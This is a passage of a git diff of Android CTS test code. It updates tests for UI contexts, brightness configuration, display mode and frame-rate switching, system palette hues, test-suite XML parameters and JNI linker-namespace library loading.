index 8f3fc47..5228834 100644
--- a/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
+++ b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
@@ -22,8 +22,6 @@
 import android.app.Service;
 import android.content.Context;
 import android.content.ContextWrapper;
-import android.content.cts.ContextTestBase;
-import android.inputmethodservice.InputMethodService;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 import android.view.Display;
@@ -49,6 +47,7 @@
  *     <li>UI derived display context - returns {@code false}</li>
  *     <li>{@link ContextWrapper} with base UI {@link Context} - returns {@code true}</li>
  *     <li>{@link ContextWrapper} with base non-UI {@link Context} - returns {@code false}</li>
+ *     <li>{@link android.window.WindowProviderService} - returns {@code true}</li>
  * </ul>
  *
  * <p>Build/Install/Run:
@@ -85,11 +84,6 @@
     }
 
     @Test
-    public void testIsUiContextOnInputMethodService() {
-        assertThat(new InputMethodService().isUiContext()).isTrue();
-    }
-
-    @Test
     public void testIsUiContextOnDefaultDisplayContext() {
         final Context defaultDisplayContext =
                 mApplicationContext.createDisplayContext(getDefaultDisplay());
@@ -136,4 +130,9 @@
         final Context uiContextWrapper = new ContextWrapper(mApplicationContext);
         assertThat(uiContextWrapper.isUiContext()).isFalse();
     }
+
+    @Test
+    public void testIsUiContextFromWindowProviderService() {
+        assertThat(createWindowTestService().isUiContext()).isTrue();
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/ContextTestBase.java b/tests/tests/content/src/android/content/wm/cts/ContextTestBase.java
similarity index 75%
rename from tests/tests/content/src/android/content/cts/ContextTestBase.java
rename to tests/tests/content/src/android/content/wm/cts/ContextTestBase.java
index 32ac006..1bcbd40 100644
--- a/tests/tests/content/src/android/content/cts/ContextTestBase.java
+++ b/tests/tests/content/src/android/content/wm/cts/ContextTestBase.java
@@ -14,23 +14,30 @@
  * limitations under the License.
  */
 
-package android.content.cts;
+package android.content.wm.cts;
 
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
+import static org.junit.Assert.fail;
+
 import android.app.Activity;
 import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
+import android.content.cts.ContextTest;
+import android.content.cts.MockActivity;
+import android.content.cts.MockService;
 import android.graphics.PixelFormat;
 import android.hardware.display.DisplayManager;
 import android.hardware.display.VirtualDisplay;
 import android.media.ImageReader;
+import android.os.Binder;
 import android.os.IBinder;
 import android.view.Display;
+import android.window.WindowProviderService;
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.rule.ActivityTestRule;
@@ -101,4 +108,36 @@
         serviceToken = serviceRule.bindService(intent);
         return ((MockService.MockBinder) serviceToken).getService();
     }
+
+    public Service createWindowTestService() {
+        final Intent intent = new Intent(mApplicationContext, TestWindowService.class);
+        final ServiceTestRule serviceRule = new ServiceTestRule();
+        try {
+            IBinder serviceToken = serviceRule.bindService(intent);
+            return ((TestWindowService.TestToken) serviceToken).getService();
+        } catch (TimeoutException e) {
+            fail("Test fail because of " + e);
+            return null;
+        }
+    }
+
+    public static class TestWindowService extends WindowProviderService {
+        private final IBinder mToken = new TestToken();
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            return mToken;
+        }
+
+        @Override
+        public int getWindowType() {
+            return TYPE_APPLICATION_OVERLAY;
+        }
+
+        public class TestToken extends Binder {
+            private TestWindowService getService() {
+                return TestWindowService.this;
+            }
+        }
+    }
 }
diff --git a/tests/tests/display/src/android/display/cts/BrightnessTest.java b/tests/tests/display/src/android/display/cts/BrightnessTest.java
index c9b6d33..95c7b5e 100644
--- a/tests/tests/display/src/android/display/cts/BrightnessTest.java
+++ b/tests/tests/display/src/android/display/cts/BrightnessTest.java
@@ -182,9 +182,12 @@
         assumeTrue(numberOfSystemAppsWithPermission(
                 Manifest.permission.CONFIGURE_DISPLAY_BRIGHTNESS) > 0);
 
+        grantPermission(Manifest.permission.CONFIGURE_DISPLAY_BRIGHTNESS);
         int previousBrightness = getSystemSetting(Settings.System.SCREEN_BRIGHTNESS);
         int previousBrightnessMode =
                 getSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE);
+        BrightnessConfiguration previousConfig = mDisplayManager.getBrightnessConfiguration();
+
         try {
             setSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE,
                     Settings.System.SCREEN_BRIGHTNESS_MODE_AUTOMATIC);
@@ -192,7 +195,6 @@
             assertEquals(Settings.System.SCREEN_BRIGHTNESS_MODE_AUTOMATIC, mode);
 
             grantPermission(Manifest.permission.BRIGHTNESS_SLIDER_USAGE);
-            grantPermission(Manifest.permission.CONFIGURE_DISPLAY_BRIGHTNESS);
 
             // Set brightness config to not sample color.
             BrightnessConfiguration config =
@@ -215,6 +217,7 @@
         } finally {
             setSystemSetting(Settings.System.SCREEN_BRIGHTNESS, previousBrightness);
             setSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE, previousBrightnessMode);
+            mDisplayManager.setBrightnessConfiguration(previousConfig);
         }
     }
 
@@ -390,6 +393,100 @@
                     Manifest.permission.CONFIGURE_DISPLAY_BRIGHTNESS) < 2);
     }
 
+    @Test
+    public void testSetAndGetBrightnessConfiguration() {
+        assumeTrue(numberOfSystemAppsWithPermission(
+                Manifest.permission.CONFIGURE_DISPLAY_BRIGHTNESS) > 0);
+
+        grantPermission(Manifest.permission.CONFIGURE_DISPLAY_BRIGHTNESS);
+
+        BrightnessConfiguration previousConfig = mDisplayManager.getBrightnessConfiguration();
+        int previousBrightnessMode =
+                getSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE);
+
+        try{
+            BrightnessConfiguration configSet =
+                    new BrightnessConfiguration.Builder(
+                            new float[]{0.0f, 1345.0f}, new float[]{15.0f, 250.0f})
+                            .setDescription("model:8").build();
+            BrightnessConfiguration configGet;
+
+            mDisplayManager.setBrightnessConfiguration(configSet);
+            configGet = mDisplayManager.getBrightnessConfiguration();
+
+            assertNotNull(configGet);
+            assertEquals(configSet, configGet);
+
+        } finally {
+            // Reset
+            mDisplayManager.setBrightnessConfiguration(previousConfig);
+            setSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE, previousBrightnessMode);
+        }
+    }
+
+    @Test
+    public void testSetAndGetPerDisplay() throws InterruptedException{
+        assumeTrue(numberOfSystemAppsWithPermission(
+                Manifest.permission.CONFIGURE_DISPLAY_BRIGHTNESS) > 0);
+
+        grantPermission(Manifest.permission.CONFIGURE_DISPLAY_BRIGHTNESS);
+        grantPermission(Manifest.permission.BRIGHTNESS_SLIDER_USAGE);
+
+        BrightnessConfiguration previousConfig = mDisplayManager.getBrightnessConfiguration();
+        int previousBrightnessMode =
+                getSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE);
+        try {
+            // Setup slider events.
+            setSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE,
+                    Settings.System.SCREEN_BRIGHTNESS_MODE_AUTOMATIC);
+            int mode = getSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE);
+            assertEquals(Settings.System.SCREEN_BRIGHTNESS_MODE_AUTOMATIC, mode);
+            recordSliderEvents();
+            waitForFirstSliderEvent();
+            setSystemSetting(Settings.System.SCREEN_BRIGHTNESS, 20);
+            getNewEvents(1);
+
+            // Get a unique display id via brightness change event
+            setSystemSetting(Settings.System.SCREEN_BRIGHTNESS, 60);
+            List<BrightnessChangeEvent> newEvents = getNewEvents(1);
+            BrightnessChangeEvent firstEvent = newEvents.get(0);
+            String uniqueDisplayId = firstEvent.uniqueDisplayId;
+            assertNotNull(uniqueDisplayId);
+
+            // Set & get a configuration for that specific display
+            BrightnessConfiguration configSet =
+                    new BrightnessConfiguration.Builder(
+                            new float[]{0.0f, 12345.0f}, new float[]{15.0f, 200.0f})
+                            .setDescription("test:0").build();
+            mDisplayManager.setBrightnessConfigurationForDisplay(configSet, uniqueDisplayId);
+            BrightnessConfiguration returnedConfig =
+                    mDisplayManager.getBrightnessConfigurationForDisplay(uniqueDisplayId);
+
+            assertEquals(configSet, returnedConfig);
+
+            // Set & get a different configuration for that specific display
+            BrightnessConfiguration configSetTwo =
+                    new BrightnessConfiguration.Builder(
+                            new float[]{0.0f, 678.0f}, new float[]{15.0f, 500.0f})
+                            .setDescription("test:1").build();
+            mDisplayManager.setBrightnessConfigurationForDisplay(configSetTwo, uniqueDisplayId);
+            BrightnessConfiguration returnedConfigTwo =
+                    mDisplayManager.getBrightnessConfigurationForDisplay(uniqueDisplayId);
+
+            assertEquals(configSetTwo, returnedConfigTwo);
+
+            // Since brightness change event will happen on the default display, this should also
+            // return the same value.
+            BrightnessConfiguration unspecifiedDisplayConfig =
+                    mDisplayManager.getBrightnessConfiguration();
+            assertEquals(configSetTwo, unspecifiedDisplayConfig);
+        } finally {
+            // Reset
+            mDisplayManager.setBrightnessConfiguration(previousConfig);
+            setSystemSetting(Settings.System.SCREEN_BRIGHTNESS_MODE, previousBrightnessMode);
+        }
+    }
+
     private void assertValidLuxData(BrightnessChangeEvent event) {
         assertNotNull(event.luxTimestamps);
         assertNotNull(event.luxValues);
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index 993ec85..8c192e7 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -590,27 +590,29 @@
         Display.Mode[] modes = mDefaultDisplay.getSupportedModes();
         assumeTrue("Need two or more display modes to exercise switching.", modes.length > 1);
 
-        // Create a deterministically shuffled list of display modes, which ends with the
-        // current active mode. We'll switch to the modes in this order. The active mode is last
-        // so we don't need an extra mode switch in case the test completes successfully.
-        Display.Mode activeMode = mDefaultDisplay.getMode();
-        List<Display.Mode> modesList = new ArrayList<>(modes.length);
-        for (Display.Mode mode : modes) {
-            if (mode.getModeId() != activeMode.getModeId()) {
-                modesList.add(mode);
-            }
-        }
-        Random random = new Random(42);
-        Collections.shuffle(modesList, random);
-        modesList.add(activeMode);
-
         try {
             mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
             assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
             mInitialRefreshRateSwitchingType =
                     DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
             mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+
             final DisplayTestActivity activity = launchActivity(mRetainedDisplayTestActivity);
+
+            // Create a deterministically shuffled list of display modes, which ends with the
+            // current active mode. We'll switch to the modes in this order. The active mode is last
+            // so we don't need an extra mode switch in case the test completes successfully.
+            Display.Mode activeMode = mDefaultDisplay.getMode();
+            List<Display.Mode> modesList = new ArrayList<>(modes.length);
+            for (Display.Mode mode : modes) {
+                if (mode.getModeId() != activeMode.getModeId()) {
+                    modesList.add(mode);
+                }
+            }
+            Random random = new Random(42);
+            Collections.shuffle(modesList, random);
+            modesList.add(activeMode);
+
             for (Display.Mode mode : modesList) {
                 testSwitchToModeId(activity, mode);
             }
diff --git a/tests/tests/dpi/AndroidTest.xml b/tests/tests/dpi/AndroidTest.xml
index 9824762..2e6c039 100644
--- a/tests/tests/dpi/AndroidTest.xml
+++ b/tests/tests/dpi/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDpiTestCases.apk" />
diff --git a/tests/tests/gesture/AndroidTest.xml b/tests/tests/gesture/AndroidTest.xml
index 4e5d6a9..5a0d486 100644
--- a/tests/tests/gesture/AndroidTest.xml
+++ b/tests/tests/gesture/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGestureTestCases.apk" />
diff --git a/tests/tests/graphics/AndroidTest.xml b/tests/tests/graphics/AndroidTest.xml
index e96c3df..f67358a 100644
--- a/tests/tests/graphics/AndroidTest.xml
+++ b/tests/tests/graphics/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGraphicsTestCases.apk" />
diff --git a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
index 1b41d09..379a732 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
@@ -20,16 +20,16 @@
 
 import static org.junit.Assert.assertTrue;
 
-import android.app.UiAutomation;
+import android.Manifest;
 import android.content.Context;
-import android.util.Log;
+import android.hardware.display.DisplayManager;
 import android.view.Surface;
-import android.view.SurfaceControl;
 
 import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
 import com.android.compatibility.common.util.DisplayUtil;
 
 import org.junit.After;
@@ -46,38 +46,39 @@
     @Rule
     public ActivityTestRule<FrameRateCtsActivity> mActivityRule =
             new ActivityTestRule<>(FrameRateCtsActivity.class);
-    private long mFrameRateFlexibilityToken;
+
+    @Rule
+    public final AdoptShellPermissionsRule mShellPermissionsRule =
+            new AdoptShellPermissionsRule(getInstrumentation().getUiAutomation(),
+                    Manifest.permission.HDMI_CEC,
+                    Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
+                    Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
+
+    private DisplayManager mDisplayManager;
+    private int mInitialRefreshRateSwitchingType;
 
     @Before
     public void setUp() throws Exception {
-        // Surface flinger requires the ACCESS_SURFACE_FLINGER permission to acquire a frame
-        // rate flexibility token. Switch to shell permission identity so we'll have the
-        // necessary permission when surface flinger checks.
-        UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
-        uiAutomation.adoptShellPermissionIdentity();
-
         Context context = getInstrumentation().getTargetContext();
         assertTrue("Physical display is expected.", DisplayUtil.isDisplayConnected(context));
 
-        try {
-            // Take ownership of the frame rate flexibility token, if we were able
-            // to get one - we'll release it in tearDown().
-            mFrameRateFlexibilityToken = SurfaceControl.acquireFrameRateFlexibilityToken();
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
+        FrameRateCtsActivity activity = mActivityRule.getActivity();
 
-        if (mFrameRateFlexibilityToken == 0) {
-            Log.e(TAG, "Failed to acquire frame rate flexibility token."
-                    + " SetFrameRate tests may fail.");
-        }
+        // Prevent DisplayManager from limiting the allowed refresh rate range based on
+        // non-app policies (e.g. low battery, user settings, etc).
+        mDisplayManager = activity.getSystemService(DisplayManager.class);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+
+        mInitialRefreshRateSwitchingType = DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
+        mDisplayManager.setRefreshRateSwitchingType(
+                DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS);
     }
 
     @After
     public void tearDown() {
-        if (mFrameRateFlexibilityToken != 0) {
-            SurfaceControl.releaseFrameRateFlexibilityToken(mFrameRateFlexibilityToken);
-            mFrameRateFlexibilityToken = 0;
+        if (mDisplayManager != null) {
+            mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
         }
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
similarity index 80%
rename from tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
rename to tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
index f078100..5f88705 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
@@ -26,24 +26,29 @@
 import android.graphics.cts.utils.Cam;
 import android.util.Pair;
 
+
 import androidx.annotation.ColorInt;
 import androidx.core.graphics.ColorUtils;
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Assert;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SystemPalette {
+public class SystemPaletteTest {
 
     // Hue goes from 0 to 360
-    private static final int MAX_HUE_DISTANCE = 30;
+    private static final int MAX_HUE_DISTANCE = 15;
 
     @Test
     public void testShades0and1000() {
@@ -66,22 +71,63 @@
     }
 
     @Test
+    @Ignore
     public void testAllColorsBelongToSameFamily() {
         final Context context = getInstrumentation().getTargetContext();
         List<int[]> allPalettes = Arrays.asList(getAllAccent1Colors(context),
                 getAllAccent2Colors(context), getAllAccent3Colors(context),
                 getAllNeutral1Colors(context), getAllNeutral2Colors(context));
 
+        final float[] tones = {100, 99, 95, 90, 80, 70, 60, 49, 40, 30, 20, 10, 0};
         for (int[] palette : allPalettes) {
-            for (int i = 3; i < palette.length - 1; i++) {
-                assertWithMessage("Color " + Integer.toHexString((palette[i - 1]))
-                        + " has different hue compared to " + Integer.toHexString(palette[i])
-                        + " for palette: " + Arrays.toString(palette))
-                        .that(similarHue(palette[i - 1], palette[i])).isTrue();
+            // Determine the median hue of the palette. Each color in the palette colors will have
+            // its hue measured against the median hue. If the difference is too large, the test
+            // fails.
+            List<Float> hues = new ArrayList<>();
+            for (int i = 0; i < palette.length - 1; i++) {
+                // Avoid measuring hue of colors above 90 or below 10 in tone.
+                //
+                // Converting from HCT to sRGB from display quantizes colors - i.e. not every
+                // HCT color can be expressed in sRGB. As colors approach the extreme tones, white
+                // at 100 and black at 0, hues begin overlapping overlay - made up example: hues
+                // 110 to 128 at tone 95, when mapped to sRGB for display, all end up being measured
+                // as hue 114.
+                final float tone = tones[i];
+                if (tone <= 10.0 || tone > 90.0) {
+                    continue;
+                }
+                final Cam cam = Cam.fromInt(palette[i]);
+                hues.add(cam.getHue());
+            }
+            Collections.sort(hues);
+            final float medianHue = hues.get(hues.size() / 2);
+
+            // Measure the hue of each color in the palette against the median hue.
+            for (int i = 0; i < palette.length - 1; i++) {
+                final float tone = tones[i];
+                // Skip testing hue of extreme tones, due to overlap due to quantization that occurs
+                // when converting from HCT to sRGB for display.
+                if (tone <= 10.0 || tone > 90.0) {
+                    continue;
+                }
+                final Cam cam = Cam.fromInt(palette[i]);
+                final float hue = cam.getHue();
+                final boolean hueWithinTolerance = deltaHueWithinTolerance(hue, medianHue);
+                assertWithMessage("Color " + toHctString(cam)
+                        + " has different hue compared to median hue " + Math.round(medianHue)
+                        + " of palette: " + Arrays.toString(palette))
+                        .that(hueWithinTolerance).isTrue();
             }
         }
     }
 
+    private static String toHctString(Cam cam) {
+        final double[] labColor = new double[3];
+        ColorUtils.colorToLAB(cam.viewedInSrgb(), labColor);
+        return "H" + Math.round(cam.getHue()) + " C" + Math.round(cam.getChroma()) + " T"
+                + Math.round(labColor[0]);
+    }
+
     /**
      * Compare if color A and B have similar hue, in gCAM space.
      *
@@ -89,12 +135,10 @@
      * @param colorB Color 2
      * @return True when colors have similar hue.
      */
-    private boolean similarHue(@ColorInt int colorA, @ColorInt int colorB) {
-        final Cam camA = Cam.fromInt(colorA);
-        final Cam camB = Cam.fromInt(colorB);
+    private boolean deltaHueWithinTolerance(float hueA, float hueB) {
 
-        float hue1 = Math.max(camA.getHue(), camB.getHue());
-        float hue2 = Math.min(camA.getHue(), camB.getHue());
+        float hue1 = Math.max(hueA, hueB);
+        float hue2 = Math.min(hueA, hueB);
 
         float diffDegrees = 180.0f - Math.abs(Math.abs(hue1 - hue2) - 180.0f);
         return diffDegrees < MAX_HUE_DISTANCE;
diff --git a/tests/tests/graphics/src/android/graphics/cts/utils/ColorUtils.java b/tests/tests/graphics/src/android/graphics/cts/utils/ColorUtils.java
index 62176d3..78529a1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/utils/ColorUtils.java
+++ b/tests/tests/graphics/src/android/graphics/cts/utils/ColorUtils.java
@@ -52,9 +52,9 @@
         b = b > 0.0031308 ? 1.055 * Math.pow(b, 1 / 2.4) - 0.055 : 12.92 * b;
 
         return Color.rgb(
-                constrain((int) Math.round(r * 255), 0, 255),
-                constrain((int) Math.round(g * 255), 0, 255),
-                constrain((int) Math.round(b * 255), 0, 255));
+                (int) constrain((int) Math.round(r * 255), 0, 255),
+                (int) constrain((int) Math.round(g * 255), 0, 255),
+                (int) constrain((int) Math.round(b * 255), 0, 255));
     }
 
     private static float constrain(float amount, float low, float high) {
diff --git a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
index 810aebc..b94877f 100644
--- a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
@@ -16,14 +16,15 @@
 
 package android.hardware.cts;
 
-import static android.os.Build.VERSION;
 import static android.os.Build.VERSION_CODES;
 
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.PackageManager;
-import android.os.SystemProperties;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -47,8 +48,7 @@
 
     @Before
     public void setUp() throws Exception {
-        final int firstApiLevel =
-                SystemProperties.getInt("ro.product.first_api_level", VERSION.SDK_INT);
+        final int firstApiLevel = Math.min(getFirstApiLevel(), getVendorApiLevel());
         assumeTrue("Skipping test: it only applies to devices that first shipped with S or later.",
                    firstApiLevel >= VERSION_CODES.S);
 
diff --git a/tests/tests/icu/CtsIcu4cTestCases.xml b/tests/tests/icu/CtsIcu4cTestCases.xml
index e0c04fa..70cdca5 100644
--- a/tests/tests/icu/CtsIcu4cTestCases.xml
+++ b/tests/tests/icu/CtsIcu4cTestCases.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="append-bitness" value="true" />
diff --git a/tests/tests/icu/CtsIcuTestCases.xml b/tests/tests/icu/CtsIcuTestCases.xml
index 9e1729a..e840698 100644
--- a/tests/tests/icu/CtsIcuTestCases.xml
+++ b/tests/tests/icu/CtsIcuTestCases.xml
@@ -21,6 +21,7 @@
     <!-- Enable multi-lib since ICU4J is backed by native codes in libcore and ICU4C. -->
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsIcuTestCases.apk" />
diff --git a/tests/tests/instantapp/AndroidTest.xml b/tests/tests/instantapp/AndroidTest.xml
index 7e03bce..4ce4d92 100644
--- a/tests/tests/instantapp/AndroidTest.xml
+++ b/tests/tests/instantapp/AndroidTest.xml
@@ -22,6 +22,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/jni/AndroidTest.xml b/tests/tests/jni/AndroidTest.xml
index 620b8bf..9ac7b78 100644
--- a/tests/tests/jni/AndroidTest.xml
+++ b/tests/tests/jni/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index f2f2a85..157b3c0 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -49,16 +49,35 @@
 #endif
 
 static const std::string kSystemLibraryPath = "/system/" LIB_DIR;
-static const std::string kArtApexLibraryPath = "/apex/com.android.art/" LIB_DIR;
 static const std::string kVendorLibraryPath = "/vendor/" LIB_DIR;
 static const std::string kProductLibraryPath = "/product/" LIB_DIR;
 
+// APEX library paths to check for either presence or absence of public
+// libraries.
+static const std::vector<std::string> kApexLibraryPaths = {
+  "/apex/com.android.art/" LIB_DIR,
+  "/apex/com.android.i18n/" LIB_DIR,
+  "/apex/com.android.neuralnetworks/" LIB_DIR,
+  "/apex/com.android.runtime/" LIB_DIR,
+};
+
 static const std::vector<std::regex> kSystemPathRegexes = {
     std::regex("/system/lib(64)?"),
     std::regex("/apex/com\\.android\\.[^/]*/lib(64)?"),
     std::regex("/system/(lib/arm|lib64/arm64)"), // when CTS runs in ARM ABI on non-ARM CPU. http://b/149852946
 };
 
+// Full paths to libraries in system or APEX search paths that are not public
+// but still may or may not be possible to load in an app.
+static const std::vector<std::string> kOtherLoadableLibrariesInSearchPaths = {
+  // This library may be loaded using DF_1_GLOBAL into the global group in
+  // app_process, which is necessary to make it override some symbols in libc in
+  // all DSO's. As a side effect it also gets inherited into the classloader
+  // namespaces constructed in libnativeloader, and is hence possible to dlopen
+  // even though there is no linker namespace link for it.
+  "/apex/com.android.art/" LIB_DIR "/libsigchain.so",
+};
+
 static const std::string kWebViewPlatSupportLib = "libwebviewchromium_plat_support.so";
 
 static bool is_directory(const char* path) {
@@ -171,6 +190,18 @@
   return error;
 }
 
+// Checks that a .so library can or cannot be loaded with dlopen() and
+// System.load(), as appropriate by the other settings:
+// -  clazz: The java class instance of android.jni.cts.LinkerNamespacesHelper,
+//    used for calling System.load() and System.loadLibrary().
+// -  path: Full path to the library to load.
+// -  library_search_paths: Directories that should be searched for public
+//    libraries. They should not be loaded from a subdirectory of these.
+// -  public_library_basenames: File names without paths of expected public
+//    libraries.
+// -  test_system_load_library: Try loading with System.loadLibrary() as well.
+// -  check_absence: Raise an error if it is a non-public library but still is
+//    loaded successfully from a searched directory.
 static bool check_lib(JNIEnv* env,
                       jclass clazz,
                       const std::string& path,
@@ -220,7 +251,10 @@
     // If the library loaded successfully but is in a subdirectory then it is
     // still not public. That is the case e.g. for
     // /apex/com.android.runtime/lib{,64}/bionic/lib*.so.
-    if (loaded && is_in_search_path && check_absence) {
+    if (loaded && is_in_search_path && check_absence &&
+        (std::find(kOtherLoadableLibrariesInSearchPaths.begin(),
+                   kOtherLoadableLibrariesInSearchPaths.end(), path) ==
+         kOtherLoadableLibrariesInSearchPaths.end())) {
       errors->push_back("The library \"" + path + "\" is not a public library but it loaded.");
       return false;
     }
@@ -234,6 +268,7 @@
   return true;
 }
 
+// Calls check_lib for every file found recursively within library_path.
 static bool check_path(JNIEnv* env,
                        jclass clazz,
                        const std::string& library_path,
@@ -279,8 +314,8 @@
 static bool jobject_array_to_set(JNIEnv* env,
                                  jobjectArray java_libraries_array,
                                  std::unordered_set<std::string>* libraries,
-                                 std::string* error_msg) {
-  error_msg->clear();
+                                 std::string* error_msgs) {
+  error_msgs->clear();
   size_t size = env->GetArrayLength(java_libraries_array);
   bool success = true;
   for (size_t i = 0; i<size; ++i) {
@@ -290,7 +325,7 @@
 
     // Verify that the name doesn't contain any directory components.
     if (soname.rfind('/') != std::string::npos) {
-      *error_msg += "\n---Illegal value, no directories allowed: " + soname;
+      *error_msgs += "\n---Illegal value, no directories allowed: " + soname;
       continue;
     }
 
@@ -300,7 +335,7 @@
     if (space_pos != std::string::npos) {
       std::string type = soname.substr(space_pos + 1);
